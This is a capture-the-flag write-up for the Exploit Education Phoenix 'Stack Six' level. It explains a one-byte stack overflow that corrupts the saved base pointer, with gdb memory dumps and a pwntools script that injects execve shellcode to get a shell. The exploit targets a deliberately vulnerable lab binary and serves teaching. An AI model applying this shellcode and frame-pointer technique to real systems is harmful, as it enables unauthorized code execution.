Phoenix - Stack Six
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *what = GREET;
char *greet(char *who) {
char buffer[128];
int maxSize;
maxSize = strlen(who);
if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
maxSize = sizeof(buffer) - 1;
}
strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize);
return strdup(buffer);
}
int main(int argc, char **argv) {
char *ptr;
printf("%s\n", BANNER);
#ifdef NEWARCH
if (argv[1]) {
what = argv[1];
}
#endif
ptr = getenv("ExploitEducation");
if (NULL == ptr) {
// This style of comparison prevents issues where you may accidentally
// type if(ptr = NULL) {}..
errx(1, "Please specify an environment variable called ExploitEducation");
}
printf("%s\n", greet(ptr));
return 0;
}
This level exploits the 1‑byte buffer overflow, to learn more about it read the references at the end.
This code reads the environment variable ExploitEducation and passes it to greet function in the variable who.
Then it copies GREET message to the buffer which in this case is “Welcome, I am pleased to meet you “.
After that it check for input size (maximum size is 127).
Now comes the bug, it copies the input to buffer + 34 (GREET length) so if our input size is 127 which is the maximum we could overflow the buffer and write 34 bytes past it.
So in total we are allowed to write 34 + 127 = 161 bytes, is it enough to overwrite the return address and redirect code execution ???
Unfortunately the answer it no, we can only overwrite the lowest byte of the saved RBP.
Quick tips:
- You can add these lines to “.gdbinit” file to adjust gdb addresses to be more realistic.
unset env LINES unset env COLUMNS set env _ /opt/phoenix/amd64/stack-six
- Keep the length of your exploit fixed every time to avoid shifting memory addresses (and to avoid the headache).
$ export ExploitEducation=$(python -c "print 'A'*161") # Fill ExploitEducation env variable with 127 A's
$ gdb -q /opt/phoenix/amd64/stack-six
Reading symbols from /opt/phoenix/amd64/stack-six...(no debugging symbols found)...done.
gef➤ disassemble greet
Dump of assembler code for function greet:
.....
0x000000000040077a <+125>: mov rdi,rcx
0x000000000040077d <+128>: call 0x400550 <strncpy@plt>
0x0000000000400782 <+133>: lea rax,[rbp-0xa0] # address of who
0x0000000000400789 <+140>: mov rdi,rax
0x000000000040078c <+143>: call 0x400560 <strdup@plt>
.....
gef➤ b *0x0000000000400782
Breakpoint 1 at 0x400782
gef➤ r
Starting program: /opt/phoenix/amd64/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Breakpoint 1, 0x0000000000400782 in greet ()
gef➤ info registers rbp
rbp 0x7fffffffe590 0x7fffffffe590
gef➤ x/22xg $rbp-0xa0
0x7fffffffe510: 0x2c656d6f636c6557 0x6c70206d61204920
0x7fffffffe520: 0x6f74206465736165 0x6f79207465656d20
0x7fffffffe530: 0x4141414141412075 0x4141414141414141
0x7fffffffe540: 0x4141414141414141 0x4141414141414141
0x7fffffffe550: 0x4141414141414141 0x4141414141414141
0x7fffffffe560: 0x4141414141414141 0x4141414141414141
0x7fffffffe570: 0x4141414141414141 0x4141414141414141
0x7fffffffe580: 0x4141414141414141 0x4141414141414141
0x7fffffffe590: 0x4141414141414141 0x4141414141414141
0x7fffffffe5a0: 0x4141414141414141 0x4141414141414141
0x7fffffffe5b0: 0x00007fffffffe541 0x00000000004007e9
As you can see we were able to only overwrite the first byte of the saved RBP (remember that this is the base pointer of the calling function”main”).
We know that this modified RBP will be used to restore RSP at the end of main function and then jump to the return address, so the idea of the exploit is modifying RBP to point to a an address where RBP+8 (which will be the return address of main) points somewhere in the environment variable ExploitEducation.
We can get the address of ExploitEducation using many ways like dumping the stack until we find it (environment variables are at the end of the stack).
Here I used the command grep which is an alias for search-pattern.
gef➤ grep ExploitEducation=
[+] Searching 'ExploitEducation=' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
0x7fffffffeeff - 0x7fffffffef36 → "ExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
As you can see our input address starts at 0x7fffffffeeff, but we need the start of the input to the real start is 0x7fffffffeeff + len(“ExploitEducation=”) = 0x7fffffffef10.
So the return address must point somewhere inside 0x7fffffffef10 and 0x7fffffffef10+126.
As we can only change the last byte of RBP, it’s value can be between 0x7fffffffe501 and 0x7fffffffe5ff, so let’s put a breakpoint at the end of main and see if there is a good address we can jump to in this range.
gef➤ disassemble main
Dump of assembler code for function main:
0x00000000004007e4 <+73>: call 0x4006fd <greet>
0x00000000004007e9 <+78>: mov rdi,rax
0x00000000004007ec <+81>: call 0x400530 <puts@plt>
0x00000000004007f1 <+86>: mov eax,0x0
0x00000000004007f6 <+91>: leave
gef➤ b *0x00000000004007f6
Breakpoint 2 at 0x4007f6
gef➤ r
Starting program: /opt/phoenix/amd64/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Breakpoint 1, 0x00000000004007f6 in main ()
gef➤ x/32xg 0x7fffffffe500
0x7fffffffe500: 0x00007ffff7ffc948 0x00000000000000a6
0x7fffffffe510: 0x0000000000000001 0x00007ffff7db6d0f
0x7fffffffe520: 0x00007ffff7ffc948 0x00000000000000a6
0x7fffffffe530: 0x00007fffffffe58f 0x0000000000000001
0x7fffffffe540: 0x4141414141414141 0x00007ffff7ffb300
0x7fffffffe550: 0x0000000000000000 0x0000000000600c00
0x7fffffffe560: 0x000000000040079b 0x0000000000000000
0x7fffffffe570: 0x0000000000000000 0x00007ffff7db6b1e
0x7fffffffe580: 0x00007ffff7ffb300 0x0a00000000000000
0x7fffffffe590: 0x00007ffff7ffb300 0x00007ffff7db9934
0x7fffffffe5a0: 0x4141414141414141 0x00007fffffffe541
0x7fffffffe5b0: 0x00007fffffffe648 0x00000000004007f1
0x7fffffffe5c0: 0x00007fffffffe638 0x00000001ffffe648
0x7fffffffe5d0: 0x000000000040079b 0x00007fffffffef10
0x7fffffffe5e0: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe5f0: 0x0000000000000000 0x00007fffffffe630
And viola!!!, we get 0x00007fffffffef10 at address 0x7fffffffe5d8 so we overwrite RBP to be 0x7fffffffe5d0 and that’s it, the leave instruction will move RBP to RSP and pop the top value of the stack to RBP (which is at 0x7fffffffe5d0) then the ret will pop the next value to RIP (which is at 0x7fffffffe5d8).
So the whole idea was to overwrite RBP to point to an address where RBP+8 is the address of our shellcode, so that at the end of the calling function the value of RIP will point to that address.
Solution:
# solve.py
from pwn import *
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
buff = ""
buff += '\x90' * 20 # some NOP sled is always good :)
buff += shellcode
buff += 'A' * (126 - len(buff))
buff += '\xd0'
print(buff)
$ export ExploitEducation=$(python solve.py)
$ /opt/phoenix/amd64/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome, I am pleased to meet you 1�H�ѝ��Ќ��H��ST_�RWT^�;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
$ whoami
phoenix-amd64-stack-six
Note: the 32bit version might have a slightly different solution, but the idea is still the same.
References:
https://www.welivesecurity.com/2016/05/10/exploiting-1-byte-buffer-overflows